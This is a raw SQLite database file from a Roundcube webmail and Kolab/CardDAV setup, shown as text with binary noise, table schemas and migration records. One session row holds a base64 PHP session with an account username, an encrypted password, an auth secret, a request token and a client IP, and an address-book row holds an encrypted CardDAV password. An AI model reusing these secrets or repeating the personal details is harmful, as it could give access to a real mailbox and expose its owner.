)EY3indexsqlite_autoindex_contactgroupmembers_1contactgroupmembers	v='�indexix_contactgroups_user_idcontactgroupsCREATE INDEX ix_contactgroups_user_id ON contactgroups(user_id, del)�[''�utablecontactgroupscontactgroupsCREATE TABLE contactgroups (
  contactgroup_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default ''
)b3�indexix_contacts_user_idcontactsCREATE INDEX ix_contacts_user_id ON contacts(user_id, del)��atablecontactscontactsCREATE TABLE contacts (
  contact_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  email text NOT NULL default '',
  firstname varchar(128) NOT NULL default '',
  surname varchar(128) NOT NULL default '',
  vcard text NOT NULL default '',
  words text NOT NULL default ''
)f/�indexix_users_usernameusersCREATE UNIQUE INDEX ix_users_username ON users(username, mail_host)��tableusersusersCREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(16),
  preferences text DEFAULT NULL
)

	��	wo	H<������K#�x��8
�
�
�bGG�A'�Qtablefilestorefilestore*CREATE TABLE filestore (
    file_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    context varchar(32) NOT NULL,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL
)m;%�indexix_cache_shared_expirescache_shared CREATE INDEX ix_cache_shared_expires ON cache_shared(expires)�6%%�/tablecache_sharedcache_sharedCREATE TABLE cache_shared (
  cache_key varchar(255) NOT NULL,
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (cache_key)
)7K%indexsqlite_autoindex_cache_shared_1cache_sharedP-kindexix_cache_expirescacheCREATE INDEX ix_cache_expires ON cache(expires)��tablecachecacheCREATE TABLE cache (
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  cache_key varchar(128) NOT NULL default '',
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (user_id, cache_key)
))=indexsqlite_autoindex_cache_1cacheA�-indexix_searches_user_type_namesearchesCREATE UNIQUE INDEX ix_searches_user_type_name ON searches (user_id, type, name)��tablesearchessearchesCREATE TABLE searches (
  search_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  "type" smallint NOT NULL DEFAULT '0',
  name varchar(128) NOT NULL,
  data text NOT NULL
)�C!�/indexix_dictionary_user_languagedictionaryCREATE UNIQUE INDEX ix_dictionary_user_language ON dictionary (user_id, language)�U!!�utabledictionarydictionaryCREATE TABLE dictionary (
  user_id integer DEFAULT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  language varchar(16) NOT NULL,
  data text NOT NULL
)Y1uindexix_session_changedsessionCREATE INDEX ix_session_changed ON session (changed)�V�tablesessionsessionCREATE TABLE session (
  sess_id varchar(128) NOT NULL PRIMARY KEY,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  ip varchar(40) NOT NULL default '',
  vars text NOT NULL
)-Aindexsqlite_autoindex_session_1sessionf5�indexix_responses_user_idresponsesCREATE INDEX ix_responses_user_id ON responses(user_id, del),v&?)�indexix_cache_messages_expirescache_messages)CREATE INDEX ix_cache_messages_expires ON cache_messages (expires);%O)indexsqlite_autoindex_cache_messages_1cache_messages(�u$))�%tablecache_messagescache_messages'CREATE TABLE cache_messages (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    uid integer NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    flags integer NOT NULL DEFAULT '0',
    PRIMARY KEY (user_id, mailbox, uid)
)n#;%�	indexix_cache_thread_expirescache_thread&CREATE INDEX ix_cache_thread_expires ON cache_thread (expires)7"K%indexsqlite_autoindex_cache_thread_1cache_thread%�(!%%�tablecache_threadcache_thread$CREATE TABLE cache_thread (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
)j 9#�indexix_cache_index_expirescache_index#CREATE INDEX ix_cache_index_expires ON cache_index (expires)5I#indexsqlite_autoindex_cache_index_1cache_index"�N##�ctablecache_indexcache_index!CREATE TABLE cache_index (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    valid smallint NOT NULL DEFAULT '0',
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
)�_�q
���$Md76366c4c2ba713bad44cc81636609e7#M	09b20d41296d3b296415ece0379c2e5f
���32025-05-05 16:08:393	2025-04-01 05:23:51




ll�	u3�DAV.discover.VEVENT.85527bd12c17e7591ff7e9fc31c8b21a2025-04-01 04:25:57czo0MzoiY2FsZW5kYXJzL2luZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6LyI7
��8	u	DAV.discover.VEVENT.85527bd12c17e7591ff7e9fc31c8b21a
��3	2025-04-01 04:25:57














s���s$
;!calendar-caldav-version2024082600&	?!calendar-database-version2024082600-!libkolab-version2023111200/!roundcube-version2022081200
�����;calendar-caldav-version
?calendar-database-version	-libkolab-version/	roundcube-version
����bF
���.
�	2�q��D�v��HA
��I:--�Etablekolab_cache_notekolab_cache_note>CREATE TABLE kolab_cache_note (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  PRIMARY KEY(folder_id,msguid)
)�x733�tablekolab_cache_journalkolab_cache_journal;CREATE TABLE kolab_cache_journal (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)p{(5�/indexix_filestore_user_idfilestore+CREATE UNIQUE INDEX ix_filestore_user_id ON filestore(user_id, context, filename)�973�+indexix_journal_uid2msguidkolab_cache_journal=CREATE INDEX ix_journal_uid2msguid ON kolab_cache_journal(folder_id,uid,msguid)E8Y3indexsqlite_autoindex_kolab_cache_journal_1kolab_cache_journal<x61-�indexix_task_uid2msguidkolab_cache_task:CREATE INDEX ix_task_uid2msguid ON kolab_cache_task(folder_id,uid,msguid)?5S-indexsqlite_autoindex_kolab_cache_task_1kolab_cache_task9�o4--�tablekolab_cache_taskkolab_cache_task8CREATE TABLE kolab_cache_task (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)|33/�#indexix_event_uid2msguidkolab_cache_event7CREATE INDEX ix_event_uid2msguid ON kolab_cache_event(folder_id,uid,msguid)A2U/indexsqlite_autoindex_kolab_cache_event_1kolab_cache_event6�r1//�tablekolab_cache_eventkolab_cache_event5CREATE TABLE kolab_cache_event (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)�073�+indexix_contact_uid2msguidkolab_cache_contact4CREATE INDEX ix_contact_uid2msguid ON kolab_cache_contact(folder_id,uid,msguid)r/+3�indexix_contact_typekolab_cache_contact3CREATE INDEX ix_contact_type ON kolab_cache_contact(folder_id,type)E.Y3indexsqlite_autoindex_kolab_cache_contact_1kolab_cache_contact2�p-33�tablekolab_cache_contactkolab_cache_contact1CREATE TABLE kolab_cache_contact (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  name VARCHAR(255) NOT NULL,
  firstname VARCHAR(255) NOT NULL,
  surname VARCHAR(255) NOT NULL,
  email VARCHAR(255) NOT NULL,
  PRIMARY KEY(folder_id,msguid)
)h,-'�	indexix_resource_typekolab_folders0CREATE INDEX ix_resource_type ON kolab_folders(resource, type)�+''�qtablekolab_folderskolab_folders/CREATE TABLE kolab_folders (
  folder_id INTEGER NOT NULL PRIMARY KEY,
  resource VARCHAR(255) NOT NULL,
  type VARCHAR(32) NOT NULL,
  synclock INTEGER NOT NULL DEFAULT '0',
  ctag VARCHAR(128) DEFAULT NULL,
  changed DATETIME DEFAULT NULL
)+*?indexsqlite_autoindex_system_1system-o)�9tablesystemsystem,CREATE TABLE system (
  name varchar(64) NOT NULL PRIMARY KEY,
  value text NOT NULL
)
hh��c!3dav://info%40greasetrap.staging-area.xyz@127.0.0.1:2080calendars/info@greasetrap.staging-area.xyz/calendar/event17434806772025-04-01 00:15:57
��u�c	dav://info%40greasetrap.staging-area.xyz@127.0.0.1:2080calendars/info@greasetrap.staging-area.xyz/calendar/event



















��E
�
�
�
�
<	��KK�v��*�H�}H;;�tablekolab_cache_dav_contactkolab_cache_dav_contactGN[5indexsqlite_autoindex_kolab_cache_dav_task_1kolab_cache_dav_taskS�|M55�tablekolab_cache_dav_taskkolab_cache_dav_taskRCREATE TABLE kolab_cache_dav_task (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id, uid)
)IL]7indexsqlite_autoindex_kolab_cache_dav_event_1kolab_cache_dav_eventQ�K77�tablekolab_cache_dav_eventkolab_cache_dav_eventPCREATE TABLE kolab_cache_dav_event (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id, uid)
)�J3;�%indexix_contact_type_davkolab_cache_dav_contactOCREATE INDEX ix_contact_type_dav ON kolab_cache_dav_contact(folder_id, type)MIa;indexsqlite_autoindex_kolab_cache_dav_contact_1kolab_cache_dav_contactN�}H;;�tablekolab_cache_dav_contactkolab_cache_dav_contactMCREATE TABLE kolab_cache_dav_contact (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  name VARCHAR(255) NOT NULL,
  firstname VARCHAR(255) NOT NULL,
  surname VARCHAR(255) NOT NULL,
  email VARCHAR(255) NOT NULL,
  PRIMARY KEY(folder_id, uid)
)�G95�/indexix_freebusy_uid2msguidkolab_cache_freebusyLCREATE INDEX ix_freebusy_uid2msguid ON kolab_cache_freebusy(folder_id,uid,msguid)GF[5indexsqlite_autoindex_kolab_cache_freebusy_1kolab_cache_freebusyK�{E55�tablekolab_cache_freebusykolab_cache_freebusyJCREATE TABLE kolab_cache_freebusy (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)�DC?�Cindexix_configuration_uid2msguidkolab_cache_configurationICREATE INDEX ix_configuration_uid2msguid ON kolab_cache_configuration(folder_id,uid,msguid)�
C7?�+indexix_configuration_typekolab_cache_configurationHCREATE INDEX ix_configuration_type ON kolab_cache_configuration(folder_id,type)QBe?indexsqlite_autoindex_kolab_cache_configuration_1kolab_cache_configurationG�A??�tablekolab_cache_configurationkolab_cache_configurationFCREATE TABLE kolab_cache_configuration (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  PRIMARY KEY(folder_id,msguid)
)x@1-�indexix_file_uid2msguidkolab_cache_fileECREATE INDEX ix_file_uid2msguid ON kolab_cache_file(folder_id,uid,msguid)v?1-�indexix_folder_filenamekolab_cache_fileCCREATE INDEX ix_folder_filename ON kolab_cache_file(folder_id,filename)?>S-indexsqlite_autoindex_kolab_cache_file_1kolab_cache_fileB�o=--�tablekolab_cache_filekolab_cache_fileACREATE TABLE kolab_cache_file (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  filename varchar(255) DEFAULT NULL,
  PRIMARY KEY(folder_id,msguid)
)x<1-�indexix_note_uid2msguidkolab_cache_note@CREATE INDEX ix_note_uid2msguid ON kolab_cache_note(folder_id,uid,msguid)?;S-indexsqlite_autoindex_kolab_cache_note_1kolab_cache_note?

















�
!f	�g�5C
�!!!�[--�[tablecarddav_contactscarddav_contactsaCREATE TABLE carddav_contacts (
	id           integer NOT NULL PRIMARY KEY,
	abook_id     integer NOT NULL,
	name         VARCHAR(255) NOT NULL, 
	email        VARCHAR(255),          
	firstname    VARCHAR(255),
	surname      VARCHAR(255),
	organization VARCHAR(255),
	showas       VARCHAR(32) NOT NULL DEFAULT '', 
	vcard        TEXT NOT NULL,         
	etag         VARCHAR(255) NOT NULL, 
	uri          VARCHAR(255) NOT NULL, 
	cuid         VARCHAR(255) NOT NULL, 

	UNIQUE(uri,abook_id),
	UNIQUE(cuid,abook_id),

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE
)��mW;%�indexix_kolab_alarms_user_idkolab_alarms]CREATE INDEX ix_kolab_alarms_user_id ON kolab_alarms(user_id)7VK%indexsqlite_autoindex_kolab_alarms_1kolab_alarms\�oU%%�!tablekolab_alarmskolab_alarms[CREATE TABLE kolab_alarms (
  alarm_id VARCHAR(255) NOT NULL,
  user_id INTEGER NOT NULL,
  notifyat DATETIME DEFAULT NULL,
  dismissed TINYINT(3) NOT NULL DEFAULT '0',
  PRIMARY KEY(alarm_id,user_id)
)|T9+�!indexix_itipinvitations_uiditipinvitationsZCREATE INDEX ix_itipinvitations_uid ON itipinvitations(user_id, event_uid)=SQ+indexsqlite_autoindex_itipinvitations_1itipinvitationsYu�R++�mtableitipinvitationsitipinvitationsXCREATE TABLE itipinvitations (
  token varchar(64) NOT NULL PRIMARY KEY,
  event_uid varchar(255) NOT NULL,
  user_id integer NOT NULL default '0',
  event text NOT NULL,
  expires datetime NOT NULL default '1000-01-01 00:00:00',
  cancelled tinyint(1) NOT NULL default '0',
  CONSTRAINT fk_itipinvitations_user_id FOREIGN KEY (user_id)
    REFERENCES users(user_id)
)�Q##�itableattachmentsattachmentsWCREATE TABLE attachments (
  attachment_id integer NOT NULL PRIMARY KEY,
  event_id integer NOT NULL default '0',
  filename varchar(255) NOT NULL default '',
  mimetype varchar(255) NOT NULL default '',
  size integer NOT NULL default '0',
  data text NOT NULL default '',
  CONSTRAINT fk_attachment_event_id FOREIGN KEY (event_id)
    REFERENCES events(event_id)
)�JP�otableeventseventsUCREATE TABLE events (
  event_id integer NOT NULL PRIMARY KEY,
  calendar_id integer NOT NULL default '0',
  recurrence_id integer NOT NULL default '0',
  uid varchar(255) NOT NULL default '',
  instance varchar(16) NOT NULL default '',
  isexception tinyint(1) NOT NULL default '0',
  created datetime NOT NULL default '1000-01-01 00:00:00',
  changed datetime NOT NULL default '1000-01-01 00:00:00',
  sequence integer NOT NULL default '0',
  start datetime NOT NULL default '1000-01-01 00:00:00',
  end datetime NOT NULL default '1000-01-01 00:00:00',
  recurrence varchar(255) default NULL,
  title varchar(255) NOT NULL,
  description text NOT NULL,
  location varchar(255) NOT NULL default '',
  categories varchar(255) NOT NULL default '',
  url varchar(255) NOT NULL default '',
  all_day tinyint(1) NOT NULL default '0',
  free_busy tinyint(1) NOT NULL default '0',
  priority tinyint(1) NOT NULL default '0',
  sensitivity tinyint(1) NOT NULL default '0',
  status varchar(32) NOT NULL default '',
  alarms text default NULL,
  attendees text default NULL,
  notifyat datetime default NULL,
  CONSTRAINT fk_events_calendar_id FOREIGN KEY (calendar_id)
    REFERENCES calendars(calendar_id)
)�O�}tablecalendarscalendarsTCREATE TABLE calendars (
  calendar_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  name varchar(255) NOT NULL default '',
  color varchar(255) NOT NULL default '',
  showalarms tinyint(1) NOT NULL default '1',
  driver varchar(255) NOT NULL default 'database',
  CONSTRAINT fk_calendars_user_id FOREIGN KEY (user_id)
    REFERENCES users(user_id)
)







11�LeS�/		!	cPanel CardDAV (cPanel CardDAV Address Book)%l@%d{ENCRYPTED}Cko+eppYvJ/zo3jp0SBGtg==https://127.0.0.1:2080/addressbooks/info@greasetrap.staging-area.xyz/addressbook/h�'1743480677cPCardDAV
���M3'�-d76366c4c2ba713bad44cc81636609e72025-05-05 16:08:39103.162.230.8bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo1OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjY6IklOQk9YLiI7aToxO3M6MToiLiI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6OToicHJlZml4X2luIjtzOjY6IklOQk9YLiI7czoxMDoicHJlZml4X291dCI7czo2OiJJTkJPWC4iO31pbWFwX2RlbGltaXRlcnxzOjE6Ii4iO2ltYXBfbGlzdF9jb25mfGE6Mjp7aTowO3M6NjoiSU5CT1guIjtpOjE7YTowOnt9fXVzZXJfaWR8aToxO3VzZXJuYW1lfHM6MzI6ImluZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6IjtzdG9yYWdlX2hvc3R8czo5OiJsb2NhbGhvc3QiO3N0b3JhZ2VfcG9ydHxpOjE0MztzdG9yYWdlX3NzbHxiOjA7cGFzc3dvcmR8czo5NjoibGRNbis1K0JzVWFuMmF4SldxR2R5L3Q0eG9nekFueTFqUFRxTjE0QUhuYWliKzM0cTB2OEc4R2FiWjRmZjFqS3JmSFZqZ2F4NGVpbE9ZQ3dabi9nOFhHZnZhT1FqRFhvIjtsb2dpbl90aW1lfGk6MTc0NjQ2MDY5MjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjMyOiJ5RGFqSFU5V2RPMFYyR2ZDSWw5QnkxTUJHNUhJblRtVCI7cmVxdWVzdF90b2tlbnxzOjMyOiJjVDUzdlV0S2d2Zmd6OG1JSHNpaXNpSEh3WUJwMTBmdCI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MTtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO3F1b3RhX2Rpc3BsYXl8czo0OiJ0ZXh0IjtsaXN0X2F0dHJpYnxhOjc6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjtzOjc6ImNvbHVtbnMiO2E6ODp7aTowO3M6NzoidGhyZWFkcyI7aToxO3M6Nzoic3ViamVjdCI7aToyO3M6Njoic3RhdHVzIjtpOjM7czo2OiJmcm9tdG8iO2k6NDtzOjQ6ImRhdGUiO2k6NTtzOjQ6InNpemUiO2k6NjtzOjQ6ImZsYWciO2k6NztzOjEwOiJhdHRhY2htZW50Ijt9fWZvbGRlcnN8YTo1OntzOjU6IklOQk9YIjthOjI6e3M6MzoiY250IjtpOjM7czo2OiJtYXh1aWQiO2k6Mzt9czoxMDoiSU5CT1guc3BhbSI7YToyOntzOjM6ImNudCI7aTowO3M6NjoibWF4dWlkIjtpOjA7fXM6MTA6IklOQk9YLlNlbnQiO2E6Mjp7czozOiJjbnQiO2k6MTtzOjY6Im1heHVpZCI7aToxO31zOjEyOiJJTkJPWC5EcmFmdHMiO2E6Mjp7czozOiJjbnQiO2k6MDtzOjY6Im1heHVpZCI7aTowO31zOjExOiJJTkJPWC5UcmFzaCI7YToyOntzOjM6ImNudCI7aTowO3M6NjoibWF4dWlkIjtpOjA7fX11bnNlZW5fY291bnR8YTo2OntzOjU6IklOQk9YIjtpOjA7czoxMDoiSU5CT1guc3BhbSI7aTowO3M6MTA6IklOQk9YLlNlbnQiO2k6MDtzOjEyOiJJTkJPWC5EcmFmdHMiO2k6MDtzOjExOiJJTkJPWC5UcmFzaCI7aTowO3M6MTM6IklOQk9YLkFyY2hpdmUiO2k6MDt9bGlzdF9tb2Rfc2VxfHM6MToiNSI7YnJvd3Nlcl9jYXBzfGE6NTp7czozOiJwZGYiO3M6MToiMSI7czo1OiJmbGFzaCI7czoxOiIwIjtzOjQ6InRpZmYiO3M6MToiMCI7czo0OiJ3ZWJwIjtzOjE6IjEiO3M6NzoicGdwbWltZSI7czoxOiIwIjt9c2FmZV9tZXNzYWdlc3xhOjM6e3M6NzoiSU5CT1g6MSI7YjowO3M6NzoiSU5CT1g6MyI7YjowO3M6NzoiSU5CT1g6MiI7YjowO313cml0ZWFibGVfYWJvb2t8YjoxO1NUT1JBR0VfQUNMfGI6MDtsYXN0X2NvbXBvc2Vfc2Vzc2lvbnxzOjIzOiIxMzEyODQ4ODg2NjgxOGUwNDEwM2E3NCI7


��
�����H
��j�%cJ�[o11�atablecarddav_migrationscarddav_migrationsmCREATE TABLE "carddav_migrations" (
	id integer NOT NULL PRIMARY KEY,
	filename TEXT NOT NULL,
	processed_at TIME NOT NULL DEFAULT CURRENT_TIMESTAMP,

	UNIQUE(filename)
)CeW1indexsqlite_autoindex_carddav_group_user_1carddav_group_userlG";iO)indexsqlite_autoindex_carddav_groups_2carddav_groupso;hO)indexsqlite_autoindex_carddav_groups_1carddav_groupsn�g))�atablecarddav_groupscarddav_groups`CREATE TABLE "carddav_groups" (
	id       integer NOT NULL PRIMARY KEY,
	abook_id integer NOT NULL,
	name VARCHAR(255) NOT NULL, 
	vcard TEXT,        
	etag VARCHAR(255), 
	uri  VARCHAR(255), 
	cuid VARCHAR(255), 
	
	UNIQUE(uri,abook_id),
	UNIQUE(cuid,abook_id),

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE
)�a_//�qtablecarddav_xsubtypescarddav_xsubtypesfCREATE TABLE carddav_xsubtypes (
	id       integer NOT NULL PRIMARY KEY,
	typename VARCHAR(128) NOT NULL,  
	subtype  VARCHAR(128) NOT NULL,  
	abook_id integer NOT NULL,

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE,
	UNIQUE(typename,subtype,abook_id)
)A`U/indexsqlite_autoindex_carddav_xsubtypes_1carddav_xsubtypesg�^G-�indexcarddav_contacts_abook_id_idxcarddav_contactseCREATE INDEX carddav_contacts_abook_id_idx ON carddav_contacts(abook_id)`�xq55�tablecarddav_addressbookscarddav_addressbooks^CREATE TABLE "carddav_addressbooks" (
	id           integer NOT NULL PRIMARY KEY,
	name         TEXT NOT NULL,
	username     TEXT NOT NULL,
	password     TEXT NOT NULL,
	url          TEXT NOT NULL,
	active       TINYINT UNSIGNED NOT NULL DEFAULT 1,
	user_id      integer NOT NULL,
	last_updated BIGINT NOT NULL DEFAULT 0,  
	refresh_time INT NOT NULL DEFAULT 3600, 
	sync_token   TEXT NOT NULL DEFAULT '', 

	presetname   TEXT,                  

	use_categories TINYINT NOT NULL DEFAULT 0,

	
	FOREIGN KEY(user_id) REFERENCES users(user_id) ON DELETE CASCADE ON UPDATE CASCADE
)?]S-indexsqlite_autoindex_carddav_contacts_2carddav_contactsd?\S-indexsqlite_autoindex_carddav_contacts_1carddav_contactsc�CpW1indexsqlite_autoindex_carddav_migrations_1carddav_migrationsr�
mK1�%indexcarddav_group_user_group_id_idxcarddav_group_userpCREATE INDEX carddav_group_user_group_id_idx ON carddav_group_user(group_id)�lO1�-indexcarddav_group_user_contact_id_idxcarddav_group_userjCREATE INDEX carddav_group_user_contact_id_idx ON carddav_group_user(contact_id)zkC)�indexcarddav_groups_abook_id_idxcarddav_groupsiCREATE INDEX carddav_groups_abook_id_idx ON carddav_groups(abook_id)�jI/�!indexcarddav_xsubtypes_abook_id_idxcarddav_xsubtypeshCREATE INDEX carddav_xsubtypes_abook_id_idx ON carddav_xsubtypes(abook_id)�nd11�tablecarddav_group_usercarddav_group_userkCREATE TABLE carddav_group_user (
	group_id   integer NOT NULL,
	contact_id integer NOT NULL,

	PRIMARY KEY(group_id,contact_id),

	
	FOREIGN KEY(group_id) REFERENCES carddav_groups(id) ON DELETE CASCADE ON UPDATE CASCADE,
	FOREIGN KEY(contact_id) REFERENCES carddav_contacts(id) ON DELETE CASCADE ON UPDATE CASCADE
)










���~H��|R!
�
�
�
E

��4G30016-increasetextfieldlengths2025-04-01 04:11:31/=30015-fixmysqlconstraints2025-04-01 04:11:316K30014-unifytimestampdefaultvalue2025-04-01 04:11:31>[30013-changemysqlcollationscasesensitive2025-04-01 04:11:31/
=30012-fixmysqlconstraints2025-04-01 04:11:313E30011-unifymigrationsidcolumn2025-04-01 04:11:314G30010-increasetextfieldlengths2025-04-01 04:11:31/
=30009-dropauthschemefield2025-04-01 04:11:31(	/30008-unifyindexes2025-04-01 04:11:312C30007-replaceurlplaceholders2025-04-01 04:11:31+530006-rmgroupsnotnull2025-04-01 04:11:313E30005-changemysqlut8toutf8mb42025-04-01 04:11:314G30004-fixtimestampdefaultvalue2025-04-01 04:11:314G30003-fixtimestampdefaultvalue2025-04-01 04:11:314G30002-increasetextfieldlengths2025-04-01 04:11:31&+30001-categories2025-04-01 04:11:31"#30000-dbinit2025-04-01 04:11:31



